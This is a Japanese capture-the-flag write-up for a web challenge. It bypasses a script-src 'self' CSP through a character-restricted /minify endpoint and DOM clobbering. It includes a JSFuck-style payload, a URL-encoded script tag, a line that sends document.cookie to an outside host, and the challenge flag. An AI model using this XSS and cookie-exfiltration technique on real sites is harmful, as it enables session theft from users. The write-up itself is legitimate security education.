Tags: web 

Rating:

`/minify` APIを使うと入力文字の `><+-=r[]` 以外の文字が消されて出力される。

HTMLは出力できるがCSPで `script-src: 'self'` がかかっているので、 `/minify` APIを使って回避する。

往年のJSFuck問だがDOM Clobberingのおかげで手でもかける。

`location='http://mocos.kitchen:12345/' + document.cookie` を作ることを目標にシコシコ書いていく。

方針:

- `'name'` を作るため、 `` を文字列にして1文字目から4文字目を結合
- 必要な各種文字列を `
` のnameに設定し、 `r['name']` のようにして読み取る
- `window.location` のかわりに `[IFRAME Element].location` を代入する。

```javascript
rrrrr[
r[
rrrr =
[r + [rr = [] == []]][rr = +rr][rr] + // n
[r + []][rrr = rr][++rrr] + // a
[r + []][rr][rrr + rrr] + // m
[r + []][rr][rrr + rrr + rrr] //e
] // 'location'
] =
rrrrrr + rrrrr[rrrrrr[rrrr]][rrrrrrr[rrrr]] // document.cookie
```

```html


<iframe name=rrrrr></iframe>

<script src="/minify?code=rrrrr%5b%0d%0a%20%20r%5b%0d%0a%20%20rrrr%20%3d%0d%0a%20%20%5br%20%2b%20%5brr%20%3d%20%5b%5d%20%3d%3d%20%5b%5d%5d%5d%5brr%20%3d%20%2brr%5d%5brr%5d%20%2b%20%2f%2f%20n%0d%0a%20%20%5br%20%2b%20%5b%5d%5d%5brrr%20%3d%20rr%5d%5b%2b%2brrr%5d%20%2b%20%2f%2f%20a%0d%0a%20%20%5br%20%2b%20%5b%5d%5d%5brr%5d%5brrr%20%2b%20rrr%5d%20%2b%20%2f%2f%20m%0d%0a%20%20%5br%20%2b%20%5b%5d%5d%5brr%5d%5brrr%20%2b%20rrr%20%2b%20rrr%5d%20%2f%2fe%0d%0a%20%20%5d%20%2f%2f%20'location'%0d%0a%5d%20%3d%0d%0a%20%20rrrrrr%20%2b%20rrrrr%5brrrrrr%5brrrr%5d%5d%5brrrrrrr%5brrrr%5d%5d%20%2f%2f%20document.cookie"></script>
```

FLAG: `TSGCTF{u_r_j5fuck_m4573r}`

Original writeup (https://blog.tyage.net/post/2023/2023-11-09/#brainfxxk-challenge).